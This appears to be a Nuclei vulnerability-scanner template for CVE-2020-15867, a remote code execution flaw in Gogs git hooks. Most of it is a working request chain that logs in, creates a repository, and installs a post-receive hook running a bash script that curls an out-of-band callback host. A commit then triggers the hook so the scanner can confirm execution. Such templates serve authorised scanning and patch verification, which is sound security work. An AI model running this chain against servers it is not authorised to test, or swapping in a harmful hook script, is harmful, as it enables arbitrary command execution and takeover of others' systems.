101 lines
3.5 KiB
YAML
101 lines
3.5 KiB
YAML
id: CVE-2020-15867
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info:
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name: Gogs 0.5.5 - 0.12.2 - Remote Code Execution
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author: theamanrawat
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severity: high
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description: |
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Gogs 0.5.5 through 0.12.2 is susceptible to authenticated remote code execution via the git hooks functionality. There can be a privilege escalation if access to this feature is granted to a user who does not have administrative privileges. NOTE: Since this is mentioned in the documentation but not in the UI, it could be considered a "product UI does not warn user of unsafe actions" issue.
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remediation: |
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Upgrade Gogs to a version that is not affected by the vulnerability (0.12.3 or later).
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reference:
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- https://packetstormsecurity.com/files/162123/Gogs-Git-Hooks-Remote-Code-Execution.html
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- https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
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- http://packetstormsecurity.com/files/162123/Gogs-Git-Hooks-Remote-Code-Execution.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-15867
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.2
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cve-id: CVE-2020-15867
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epss-score: 0.96643
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epss-percentile: 0.99532
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cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 7
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vendor: gogs
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product: gogs
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tags: cve,cve2020,rce,gogs,git,authenticated,packetstorm,intrusive
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http:
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- raw:
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- |
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GET /user/login HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /user/login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
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- |
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GET /repo/create HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /repo/create HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&private=on&description=&gitignores=&license=&readme=Default&auto_init=on
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- |
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POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
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- |
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GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- http
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- type: word
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part: body_1
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words:
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- content="Gogs
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extractors:
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- type: regex
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name: csrf
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group: 1
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regex:
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- name="_csrf" value="(.*)"
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internal: true
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- type: regex
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name: auth_csrf
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group: 1
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regex:
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- name="_csrf" content="(.*)"
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internal: true
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- type: regex
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name: last_commit
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group: 1
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regex:
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- name="last_commit" value="(.*)"
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internal: true
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# digest: 4a0a00473045022100c8d70821901b97e1f647d3b11eb9fa2d5d53093c6d0b05d21bf6b7cdb78a983202202bdebd6413cd0e2f8a2d0a674cbcc6bc813145ca796073e7c8214a60a8e476f6:922c64590222798bb761d5b6d8e72950 |